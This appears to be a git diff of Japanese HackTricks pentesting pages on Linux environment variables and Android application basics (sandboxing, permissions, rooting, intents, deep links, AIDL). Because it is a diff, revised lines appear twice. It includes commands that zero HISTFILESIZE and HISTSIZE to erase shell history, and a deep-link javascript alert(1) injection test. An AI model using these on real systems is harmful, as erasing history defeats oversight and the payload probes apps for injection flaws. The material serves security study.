* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **ハッキングトリックを共有するために、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
|
||||
* **[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出して、あなたのハッキングトリックを共有してください。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -8,17 +8,25 @@ HackTricksをサポートする他の方法:
|
|||
|
||||
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
- [**公式PEASS&HackTricksスウォッグ**](https://peass.creator-spring.com)を入手する
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
|
||||
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)で**フォロー**する。
|
||||
- **ハッキングトリックを共有するために、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する。**
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)を**フォロー**する
|
||||
- **ハッキングテクニックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **githubリポジトリに提出してください。**
|
||||
|
||||
</details>
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## グローバル変数
|
||||
|
||||
グローバル変数は**子プロセス**によって**継承されます**。
|
||||
グローバル変数は**子プロセス**によって継承されます。
|
||||
|
||||
現在のセッションにグローバル変数を作成するには、次のようにします:
|
||||
現在のセッション用にグローバル変数を作成することができます:
|
||||
```bash
|
||||
export MYGLOBAL="hello world"
|
||||
echo $MYGLOBAL #Prints: hello world
|
||||
|
@ -31,7 +39,7 @@ unset MYGLOBAL
|
|||
```
|
||||
## ローカル変数
|
||||
|
||||
**ローカル変数** は **現在のシェル/スクリプト** からのみ **アクセス** できます。
|
||||
**ローカル変数**は、**現在のシェル/スクリプト**からのみ**アクセス**できます。
|
||||
```bash
|
||||
LOCAL="my local"
|
||||
echo $LOCAL
|
||||
|
@ -56,7 +64,7 @@ From: [https://geek-university.com/linux/common-environment-variables/](https://
|
|||
* **HOME** – ホームディレクトリ。
|
||||
* **HOSTNAME** – コンピューターのホスト名。
|
||||
* **LANG** – 現在の言語。
|
||||
* **MAIL** – ユーザーのメールスプールの場所。通常は **/var/spool/mail/USER** です。
|
||||
* **MAIL** – ユーザーのメールスプールの場所。通常は **/var/spool/mail/USER**。
|
||||
* **MANPATH** – マニュアルページを検索するディレクトリのリスト。
|
||||
* **OSTYPE** – オペレーティングシステムのタイプ。
|
||||
* **PS1** – bash のデフォルトプロンプト。
|
||||
|
@ -71,19 +79,19 @@ From: [https://geek-university.com/linux/common-environment-variables/](https://
|
|||
|
||||
### **HISTFILESIZE**
|
||||
|
||||
この変数の **値を 0 に変更** してください。これにより、セッションを **終了** するときに **履歴ファイル** (\~/.bash\_history) **が削除されます**。
|
||||
この変数の **値を 0 に変更**してください。これにより、セッションを **終了** するときに **履歴ファイル** (\~/.bash\_history) **が削除されます**。
|
||||
```bash
|
||||
export HISTFILESIZE=0
|
||||
```
|
||||
### **HISTSIZE**
|
||||
|
||||
この変数の値を0に変更してください。これにより、セッションを終了するときには、どんなコマンドも履歴ファイル(\~/.bash\_history)に追加されません。
|
||||
この変数の値を0に変更してください。これにより、セッションを終了するときには、どのコマンドも履歴ファイル(\~/.bash\_history)に追加されません。
|
||||
```bash
|
||||
export HISTSIZE=0
|
||||
```
|
||||
### http\_proxy & https\_proxy
|
||||
|
||||
プロセスは、ここで宣言された **プロキシ** を使用して、**httpまたはhttps** を介してインターネットに接続します。
|
||||
ここで宣言された **proxy** を使用して、プロセスは **http または https** を介してインターネットに接続します。
|
||||
```bash
|
||||
export http_proxy="http://10.10.10.10:8080"
|
||||
export https_proxy="http://10.10.10.10:8080"
|
||||
|
@ -116,3 +124,23 @@ Root:
|
|||
バックグラウンドで実行中のジョブが1つ、停止中のジョブが1つ、最後のコマンドが正常に終了しなかった場合:
|
||||
|
||||
![](<../.gitbook/assets/image (90).png>)
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>を使用して、ゼロからヒーローまでAWSハッキングを学びましょう!</summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
* **HackTricksで企業を宣伝したい**場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)を**フォロー**する
|
||||
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks)のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有する
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,29 +1,38 @@
|
|||
# Androidアプリケーションの基礎
|
||||
# Android Applications Basics
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)でAWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
- **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
- [**公式PEASS&HackTricksスウェグ**](https://peass.creator-spring.com)を入手する
|
||||
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
- [**公式PEASS&HackTricksスウォッグ**](https://peass.creator-spring.com)を入手する
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見る
|
||||
- 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローする。
|
||||
- **ハッキングトリックを共有するには、**[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
|
||||
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[Telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦で**@carlospolopm**をフォローする
|
||||
|
||||
- **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有してください。
|
||||
|
||||
</details>
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Androidセキュリティモデル
|
||||
|
||||
**2つのレイヤーがあります:**
|
||||
|
||||
- **OS**:インストールされたアプリケーションを互いに分離します。
|
||||
- **アプリケーション自体**:開発者が**特定の機能を公開**し、アプリケーションの機能を構成できるようにします。
|
||||
- **アプリケーション自体**:開発者が**特定の機能を公開**し、アプリケーションの機能を構成できます。
|
||||
|
||||
### UID分離
|
||||
|
||||
**各アプリケーションには特定のユーザーIDが割り当てられます**。これはアプリのインストール時に行われ、**アプリは自分のユーザーIDで所有されているファイルまたは共有**ファイルにのみアクセスできます。したがって、アプリ自体、OSの特定のコンポーネント、およびルートユーザーだけがアプリのデータにアクセスできます。
|
||||
**各アプリケーションには特定のユーザーIDが割り当てられます**。これはアプリのインストール時に行われ、**アプリは自分のユーザーIDで所有するファイルまたは共有ファイルにのみアクセス**できます。したがって、アプリ自体、OSの特定のコンポーネント、およびルートユーザーだけがアプリのデータにアクセスできます。
|
||||
|
||||
### UID共有
|
||||
|
||||
|
@ -32,39 +41,39 @@ HackTricksをサポートする他の方法:
|
|||
|
||||
### サンドボックス
|
||||
|
||||
**Androidアプリケーションサンドボックス**を使用すると、**各アプリケーション**を**別のプロセスとして別のユーザーID**で実行できます。各プロセスには独自の仮想マシンがあり、アプリのコードは他のアプリから隔離されて実行されます。\
|
||||
Android 5.0(L)からは**SELinux**が強制されています。基本的に、SELinuxはすべてのプロセスの相互作用を拒否し、それからそれらの間の**予想される相互作用のみを許可するポリシーを作成**しました。
|
||||
**Androidアプリケーションサンドボックス**を使用すると、**各アプリケーション**を**別のプロセスとして別のユーザーIDで実行**できます。各プロセスには独自の仮想マシンがあり、アプリのコードは他のアプリから隔離されて実行されます。\
|
||||
Android 5.0(L)からは**SELinux**が強制されています。基本的に、SELinuxはすべてのプロセスの相互作用を拒否し、それからそれらの間で**予想される相互作用のみを許可するポリシーを作成**しました。
|
||||
|
||||
### 権限
|
||||
|
||||
アプリをインストールするときに**権限を要求すると**、アプリは**AndroidManifest.xml**ファイルの**`uses-permission`**要素で構成された権限を要求しています。**uses-permission**要素は、**name** **属性**内の要求された権限の名前を示します。**maxSdkVersion**属性もあり、指定されたバージョンよりも高いバージョンでは権限を要求しなくなります。\
|
||||
Androidアプリケーションは最初からすべての権限を要求する必要はなく、**権限を動的に要求**することもできますが、すべての権限は**マニフェストで宣言**されている必要があります。
|
||||
**アプリをインストールして権限を求めるとき**、アプリは**AndroidManifest.xml**ファイルの**`uses-permission`**要素で構成された権限を要求しています。**uses-permission**要素は、**name** **属性内の要求された権限の名前**を示します。**maxSdkVersion**属性もあり、指定されたバージョンよりも高いバージョンでは権限の要求を停止します。\
|
||||
Androidアプリケーションは最初からすべての権限を求める必要はなく、**権限を動的に要求**することもできますが、すべての権限は**マニフェストで宣言**されている必要があります。
|
||||
|
||||
アプリが機能を公開すると、**指定された権限を持つアプリにのみアクセス**を制限できます。\
|
||||
権限要素には3つの属性があります:
|
||||
|
||||
- 権限の**名前**
|
||||
- 権限グループをグループ化する**permission-group**属性
|
||||
- 関連する権限をグループ化する**permission-group**属性
|
||||
- 権限がどのように付与されるかを示す**protection-level**。4つのタイプがあります:
|
||||
- **Normal**:アプリに**既知の脅威がない**場合に使用されます。ユーザーは**承認を求められません**。
|
||||
- **Dangerous**:権限が要求されたアプリケーションに**一部の権限が与えられる**ことを示します。**ユーザーは承認を求められます**。
|
||||
- **Signature**:**エクスポートしているコンポーネントと同じ証明書で署名されたアプリ**のみが権限を付与されることができます。これは最も強力な保護のタイプです。
|
||||
- **SignatureOrSystem**:**エクスポートしているコンポーネントと同じ証明書で署名されたアプリ**または**システムレベルのアクセスで実行されているアプリ**のみが権限を付与されることができます。
|
||||
- **Signature**:**コンポーネントをエクスポートする証明書と同じ証明書で署名されたアプリ**のみが権限を付与されることができます。これは最も強力な保護のタイプです。
|
||||
- **SignatureOrSystem**:**コンポーネントをエクスポートする証明書と同じ証明書で署名されたアプリ**または**システムレベルのアクセスで実行されているアプリ**のみが権限を付与されることができます。
|
||||
|
||||
## 事前インストールされたアプリケーション
|
||||
|
||||
これらのアプリは一般的に**`/system/app`**または**`/system/priv-app`**ディレクトリにあり、一部は**最適化**されています(`classes.dex`ファイルが見つからない場合があります)。これらのアプリケーションは、**ルートとして実行されることが多いため**、チェックする価値があります。
|
||||
これらのアプリは一般的に**`/system/app`**または**`/system/priv-app`**ディレクトリにあり、一部は**最適化されています**(`classes.dex`ファイルが見つからない場合があります)。これらのアプリケーションは、**rootとして実行されている場合がある**ため、確認する価値があります。
|
||||
|
||||
- **AOSP**(Androidオープンソースプロジェクト)**ROM**に含まれるもの
|
||||
- デバイスの**製造元**に追加されたもの
|
||||
- 携帯電話プロバイダーによって追加されたもの(彼らから購入した場合)
|
||||
- デバイスの**製造元**によって追加されたもの
|
||||
- 携帯電話プロバイダーによって追加されたもの(それらから購入した場合)
|
||||
|
||||
## ルート化
|
||||
|
||||
物理的なAndroidデバイスでルートアクセスを取得するには、通常、**デバイス**と**バージョン**に**特有**の1つまたは2つの**脆弱性を悪用**する必要があります。\
|
||||
悪用が機能すると、通常、Linuxの `su` バイナリがユーザーのPATH環境変数で指定された場所にコピーされます(たとえば `/system/xbin`)。
|
||||
|
||||
suバイナリが構成されると、別のAndroidアプリが `su` バイナリとのインターフェイスを提供し、**Superuser**や**SuperSU**などのルートアクセスのリクエストを処理します(Google Playストアで利用可能)。
|
||||
suバイナリが構成されると、他のAndroidアプリが `su` バイナリとのやり取りを処理するために使用されます。**Superuser**や**SuperSU**などのアプリ(Google Playストアで入手可能)がこれに該当します。
|
||||
|
||||
{% hint style="danger" %}
|
||||
ルート化プロセスは非常に危険であり、デバイスに重大な損害を与える可能性があります
|
||||
|
@ -75,15 +84,15 @@ suバイナリが構成されると、別のAndroidアプリが `su` バイナ
|
|||
**カスタムファームウェアをインストールしてOSを置き換える**ことができます。これにより、古いデバイスの有用性を拡張したり、ソフトウェアの制限をバイパスしたり、最新のAndroidコードにアクセスしたりすることができます。\
|
||||
**OmniROM**と**LineageOS**は、最も人気のあるファームウェアの2つです。
|
||||
|
||||
デバイスにカスタムファームウェアをインストールするためには、**デバイスをルート化する必要があるわけではない**ことがあります。**一部のメーカーは**、十分に文書化された安全な方法でブートローダーのロックを解除することを許可しています。
|
||||
デバイスをルート化する必要があるとは限らないことに注意してください。**一部のメーカーは**、ドキュメント化された安全な方法でブートローダーのロックを解除することを許可しています。
|
||||
|
||||
### 影響
|
||||
|
||||
デバイスがルート化されると、任意のアプリがルートアクセスを要求できます。悪意のあるアプリケーションがそれを取得した場合、ほとんどすべてにアクセスでき、電話を破損させることができます。
|
||||
デバイスがルート化されると、任意のアプリがルートアクセスを要求できます。悪意のあるアプリがそれを取得した場合、ほとんどすべてにアクセスでき、電話を破損させることができます。
|
||||
|
||||
## Androidアプリケーションの基本 <a href="#2-android-application-fundamentals" id="2-android-application-fundamentals"></a>
|
||||
## Androidアプリケーションの基礎 <a href="#2-android-application-fundamentals" id="2-android-application-fundamentals"></a>
|
||||
|
||||
- Androidアプリケーションの形式は_APKファイル形式_と呼ばれます。実質的には**ZIPファイル**です(ファイル拡張子を .zip に変更することで、内容を抽出して表示できます)。
|
||||
- Androidアプリケーションの形式は_APKファイル形式_と呼ばれます。基本的には**ZIPファイル**です(ファイル拡張子を .zip に変更することで、内容を抽出して表示できます)。
|
||||
- APKの内容(完全ではありません)
|
||||
- **AndroidManifest.xml**
|
||||
- resources.arsc/strings.xml
|
||||
|
@ -92,7 +101,7 @@ suバイナリが構成されると、別のAndroidアプリが `su` バイナ
|
|||
- META-INF/
|
||||
- ここに証明書があります!
|
||||
- **classes.dex**
|
||||
- デフォルトでアプリケーションが実行する、コンパイルされたJava(またはKotlin)コードを表すDalvikバイトコードが含まれています。
|
||||
- デフォルトでアプリが実行する、コンパイルされたJava(またはKotlin)コードを表すDalvikバイトコードが含まれています。
|
||||
- lib/
|
||||
- CPUアーキテクチャごとにサブディレクトリに分かれたネイティブライブラリが格納されています。
|
||||
- `armeabi`:ARMベースのプロセッサ用のコード
|
||||
|
@ -100,39 +109,39 @@ suバイナリが構成されると、別のAndroidアプリが `su` バイナ
|
|||
- `x86`:X86プロセッサ用のコード
|
||||
- `mips`:MIPSプロセッサ用のコードのみ
|
||||
- assets/
|
||||
- アプリが必要とするさまざまなファイルを格納し、追加のネイティブライブラリやDEXファイルを含む場合があります。マルウェアの作者が追加のコードを隠すために使用することがあります。
|
||||
- アプリが必要とするさまざまなファイルを格納し、追加のネイティブライブラリやDEXファイルを含むことがあります。これは、マルウェア作成者が追加のコードを隠すために使用することがあります。
|
||||
- res/
|
||||
- resources.arscにコンパイルされていないリソースが含まれています。
|
||||
- resources.arscにコンパイルされていないリソースが含まれています
|
||||
### **Dalvik & Smali**
|
||||
|
||||
Android開発では、**JavaまたはKotlin**がアプリを作成するために使用されます。デスクトップアプリケーションとは異なり、Androidはこのコードを**Dalvik Executable (DEX) bytecode**にコンパイルします。以前はDalvik仮想マシンがこのバイトコードを処理していましたが、新しいAndroidバージョンではAndroid Runtime (ART)が引き継いでいます。
|
||||
Android開発では、**JavaまたはKotlin**がアプリの作成に使用されます。デスクトップアプリケーションとは異なり、Androidはこのコードを**Dalvik Executable (DEX) bytecode**にコンパイルします。以前はDalvik仮想マシンがこのバイトコードを処理していましたが、新しいAndroidバージョンではAndroid Runtime (ART)が引き継いでいます。
|
||||
|
||||
逆アセンブリのために、**Smali**が重要になります。これはDEXバイトコードの人間が読めるバージョンであり、ソースコードをバイトコード命令に変換することでアセンブリ言語のように機能します。この文脈では、Smaliとbaksmaliはアセンブリと逆アセンブリのツールを指します。
|
||||
|
||||
## インテント
|
||||
|
||||
インテントは、Androidアプリがコンポーネント間や他のアプリと通信する主要手段です。これらのメッセージオブジェクトは、HTTP通信でのGET/POSTリクエストのように、アプリ間やコンポーネント間でデータをやり取りすることもできます。
|
||||
インテントは、Androidアプリがコンポーネント間や他のアプリと通信する主要な手段です。これらのメッセージオブジェクトは、HTTP通信でのGET/POSTリクエストのように、アプリやコンポーネント間でデータをやり取りすることもできます。
|
||||
|
||||
つまり、インテントは基本的に**コンポーネント間で渡されるメッセージ**です。インテントは特定のコンポーネントやアプリに**向けられることもあります**し、特定の受信者なしに送信されることもあります。\
|
||||
つまり、インテントは基本的に**コンポーネント間で渡されるメッセージ**です。インテントは特定のコンポーネントやアプリに**向けられることができ**、**特定の受信者なしに送信**することもできます。\
|
||||
簡単に言うと、インテントは以下のように使用できます:
|
||||
|
||||
* 通常はアプリのユーザーインターフェースを開くためにActivityを開始するため
|
||||
* システムやアプリに変更を通知するためのブロードキャストとして
|
||||
* バックグラウンドサービスの開始、停止、通信のため
|
||||
* バックグラウンドサービスの開始、停止、および通信のため
|
||||
* ContentProvidersを介してデータにアクセスするため
|
||||
* イベントを処理するためのコールバックとして
|
||||
|
||||
脆弱性がある場合、**インテントはさまざまな攻撃に使用できます**。
|
||||
脆弱性がある場合、**インテントはさまざまな攻撃に使用**される可能性があります。
|
||||
|
||||
### インテントフィルタ
|
||||
|
||||
**インテントフィルタ**は、**アクティビティ、サービス、またはブロードキャストレシーバが異なるタイプのインテントとやり取りする方法**を定義します。基本的に、これらのコンポーネントの機能を記述し、どのようなアクションを実行できるかや処理できるブロードキャストの種類などを示します。これらのフィルタを宣言する主な場所は**AndroidManifest.xmlファイル**ですが、ブロードキャストレシーバの場合はコーディングすることもできます。
|
||||
**インテントフィルタ**は、**アクティビティ、サービス、またはブロードキャストレシーバが異なるタイプのインテントとやり取りする方法**を定義します。基本的に、これらのコンポーネントの機能を説明し、実行できるアクションや処理できるブロードキャストの種類などを示します。これらのフィルタを宣言する主な場所は**AndroidManifest.xmlファイル**ですが、ブロードキャストレシーバの場合はコーディングすることもできます。
|
||||
|
||||
インテントフィルタは、カテゴリ、アクション、データフィルタから構成され、追加のメタデータを含めることもできます。この設定により、特定の基準に一致するインテントを処理できるようになります。
|
||||
インテントフィルタは、カテゴリ、アクション、およびデータフィルタから構成され、追加のメタデータを含めることも可能です。この設定により、特定の基準に一致するインテントを処理できるコンポーネントが可能になります。
|
||||
|
||||
Androidコンポーネント(アクティビティ/サービス/コンテンツプロバイダ/ブロードキャストレシーバ)の重要な側面は、その可視性または**公開状態**です。コンポーネントは、マニフェストで**`exported`**属性を**`true`**に設定するか、そのコンポーネントのためにインテントフィルタが宣言されている場合にのみ、他のアプリとやり取りできると見なされます。ただし、開発者はこれらのコンポーネントを意図せず他のアプリとやり取りさせないように明示的に非公開に保つ方法があります。これは、マニフェスト定義で**`exported`**属性を**`false`**に設定することで実現できます。
|
||||
Androidコンポーネント(アクティビティ/サービス/コンテンツプロバイダ/ブロードキャストレシーバ)の重要な側面は、その可視性または**公開状態**です。コンポーネントは、マニフェストで**`exported`**属性を**`true`**に設定するか、そのコンポーネントのためにインテントフィルタが宣言されている場合にのみ、他のアプリとやり取りできると見なされます。ただし、開発者はこれらのコンポーネントを意図せずに他のアプリとやり取りさせないように明示的に非公開に保つ方法があります。これは、マニフェスト定義で**`exported`**属性を**`false`**に設定することで実現できます。
|
||||
|
||||
さらに、開発者はこれらのコンポーネントへのアクセスをさらに保護するために特定の権限を要求するオプションがあります。**`permission`**属性を設定して、指定された権限を持つアプリのみがコンポーネントにアクセスできるように強制することができ、誰がそれとやり取りできるかに対する追加のセキュリティと制御を提供します。
|
||||
さらに、開発者はこれらのコンポーネントへのアクセスをさらに保護するために特定の権限を要求するオプションがあります。**`permission`**属性を設定して、指定された権限を持つアプリのみがコンポーネントにアクセスできるように強制することができ、誰がそれとやり取りできるかに対するセキュリティと制御の追加のレイヤーを追加します。
|
||||
```java
|
||||
<activity android:name=".MyActivity" android:exported="false">
|
||||
<!-- Intent filters go here -->
|
||||
|
@ -157,7 +166,7 @@ Intent email = new Intent(Intent.ACTION_SEND, Uri.parse("mailto:"));
|
|||
```
|
||||
インテントフィルタは、メッセージを受信するために**アクション**、**データ**、および**カテゴリ**と一致する必要があります。
|
||||
|
||||
"インテント解決"プロセスは、どのアプリが各メッセージを受信するかを決定します。このプロセスは**優先度属性**を考慮します。これは**インテントフィルタ宣言**で設定でき、**優先度が高いものが選択されます**。この優先度は-1000から1000の間で設定でき、アプリケーションは`SYSTEM_HIGH_PRIORITY`値を使用できます。**競合**が発生すると、"選択ウィンドウ"が表示され、**ユーザーが決定**できます。
|
||||
"インテント解決"プロセスは、どのアプリが各メッセージを受信するかを決定します。このプロセスは**優先度属性**を考慮します。これは**インテントフィルタ宣言**で設定でき、**優先度が高いものが選択されます**。この優先度は-1000から1000の間で設定でき、アプリケーションは`SYSTEM_HIGH_PRIORITY`値を使用できます。**競合**が発生した場合、"選択ウィンドウ"が表示され、**ユーザーが決定**できます。
|
||||
|
||||
### 明示的インテント
|
||||
|
||||
|
@ -177,18 +186,18 @@ context.startService(intent);
|
|||
|
||||
### ブロードキャストインテント
|
||||
|
||||
以前のインテントとは異なり、ブロードキャストインテントは**複数のアプリに受信される**ことができます。ただし、APIバージョン14以降では、Intent.set Packageを使用して**メッセージを受信するアプリを指定**することが可能です。
|
||||
以前のインテントとは異なり、ブロードキャストインテントは**複数のアプリケーションに受信される**ことができます。ただし、APIバージョン14からは、Intent.setPackageを使用して**メッセージを受信するアプリを指定**することが可能です。
|
||||
|
||||
また、ブロードキャストを送信する際に**パーミッションを指定することも可能**です。受信アプリはそのパーミッションを持っている必要があります。
|
||||
|
||||
ブロードキャストには**通常**(非同期)と**順序付け**(同期)の**2つのタイプ**があります。**順序**は**受信側の構成された優先度に基づいて**います。**各アプリはブロードキャストを処理、中継、または破棄できます**。
|
||||
ブロードキャストには**通常**(非同期)と**順序付け**(同期)の**2つのタイプ**があります。**順序**は**受信側の要素内で構成された優先順位**に基づいています。**各アプリはブロードキャストを処理、中継、または破棄できます**。
|
||||
|
||||
`Context`クラスから`sendBroadcast(intent, receiverPermission)`関数を使用して**ブロードキャストを送信**することが可能です。\
|
||||
また、**`LocalBroadCastManager`**から**`sendBroadcast`**関数を使用すると、**メッセージがアプリを離れることはなくなります**。これにより、受信コンポーネントをエクスポートする必要すらありません。
|
||||
また、**`LocalBroadCastManager`**から**`sendBroadcast`**関数を使用すると、**メッセージがアプリを離れることはありません**。これを使用すると、受信コンポーネントをエクスポートする必要すらありません。
|
||||
|
||||
### スティッキーブロードキャスト
|
||||
|
||||
この種のブロードキャストは、**送信後も長い間アクセスできます**。\
|
||||
この種のブロードキャストは、**送信後も長い時間アクセスできます**。\
|
||||
これらはAPIレベル21で非推奨となり、**使用しないことが推奨**されています。\
|
||||
**これにより、任意のアプリケーションがデータを嗅ぎ取るだけでなく、変更することも可能**です。
|
||||
|
||||
|
@ -210,7 +219,7 @@ Androidアプリケーションでは、**ディープリンク**が使用され
|
|||
</intent-filter>
|
||||
[...]
|
||||
```
|
||||
前の例からのスキームは `exampleapp://`(**`category BROWSABLE`** も参照)
|
||||
前の例からのスキームは `exampleapp://`(**`category BROWSABLE`** も参照してください)
|
||||
|
||||
次に、データフィールドで **ホスト** と **パス** を指定できます:
|
||||
```xml
|
||||
|
@ -218,36 +227,36 @@ Androidアプリケーションでは、**ディープリンク**が使用され
|
|||
android:host="example"
|
||||
/>
|
||||
```
|
||||
Webからアクセスするには、次のようなリンクを設定することができます:
|
||||
Webからアクセスするには、次のようにリンクを設定することができます:
|
||||
```xml
|
||||
<a href="examplescheme://example/something">click here</a>
|
||||
<a href="examplescheme://example/javascript://%250dalert(1)">click here</a>
|
||||
```
|
||||
アプリで実行される**コードを見つける**には、ディープリンクで呼び出されるアクティビティに移動し、**`onNewIntent`** 関数を検索します。
|
||||
**アプリで実行されるコード**を見つけるには、ディープリンクで呼び出されるアクティビティに移動し、**`onNewIntent`** 関数を検索します。
|
||||
|
||||
HTML ページを使用せずに[ディープリンクを呼び出す方法](./#exploiting-schemes-deep-links)を学びます。
|
||||
[HTML ページを使用せずにディープリンクを呼び出す方法](./#exploiting-schemes-deep-links)を学びます。
|
||||
|
||||
## AIDL - Android Interface Definition Language
|
||||
|
||||
**Android Interface Definition Language (AIDL)** は、Android アプリケーション内のクライアントとサービス間のコミュニケーションを**プロセス間通信**(IPC)を通じて容易にするために設計されています。Android では他のプロセスのメモリに直接アクセスすることは許可されていないため、AIDL はオブジェクトをオペレーティングシステムが理解できる形式に変換することで、異なるプロセス間の通信を容易にします。
|
||||
**Android Interface Definition Language (AIDL)** は、Android アプリケーション内のクライアントとサービス間のコミュニケーションを容易にするために設計されています。別のプロセスのメモリに直接アクセスすることは Android では許可されていないため、AIDL はオブジェクトをオペレーティングシステムが理解する形式に変換することで、異なるプロセス間の通信を容易にします。
|
||||
|
||||
### 主要な概念
|
||||
|
||||
- **バウンド サービス**: これらのサービスは IPC に AIDL を使用し、アクティビティやコンポーネントがサービスにバインドしてリクエストを行い、レスポンスを受け取ることを可能にします。サービスのクラス内の `onBind` メソッドは、相互作用を開始するために重要であり、脆弱性を探すためのセキュリティレビューの重要な領域としてマークされています。
|
||||
- **バウンド サービス**: これらのサービスは IPC に AIDL を使用し、アクティビティやコンポーネントがサービスにバインドしてリクエストを行い、レスポンスを受け取ることができます。サービスのクラス内の `onBind` メソッドは、相互作用を開始するために重要であり、脆弱性を探すためのセキュリティレビューの重要な領域としてマークされています。
|
||||
|
||||
- **Messenger**: バウンド サービスとして機能する Messenger は、`onBind` メソッドを介してデータの処理に焦点を当てた IPC を可能にします。このメソッドを注意深く検査して、安全でないデータ処理や機密関数の実行がないかを確認することが重要です。
|
||||
- **Messenger**: バウンド サービスとして動作する Messenger は、`onBind` メソッドを介してデータの処理に焦点を当てた IPC を可能にします。このメソッドを注意深く検査し、安全でないデータ処理や機密関数の実行がないかを確認することが重要です。
|
||||
|
||||
- **Binder**: AIDL の抽象化により Binder クラスの直接的な使用は一般的ではありませんが、Binder は異なるプロセスのメモリ空間間でのデータ転送を可能にするカーネルレベルのドライバーとして機能します。さらなる理解のために、リソースが[こちら](https://www.youtube.com/watch?v=O-UHvFjxwZ8)で利用可能です。
|
||||
- **Binder**: AIDL の抽象化により Binder クラスの直接的な使用は一般的ではありませんが、Binder が異なるプロセスのメモリ空間間でデータ転送を可能にするカーネルレベルのドライバーとして機能することを理解することは有益です。詳細については、[https://www.youtube.com/watch?v=O-UHvFjxwZ8](https://www.youtube.com/watch?v=O-UHvFjxwZ8) でリソースが利用可能です。
|
||||
|
||||
## コンポーネント
|
||||
|
||||
これには、**アクティビティ、サービス、ブロードキャストレシーバー、プロバイダー**が含まれます。
|
||||
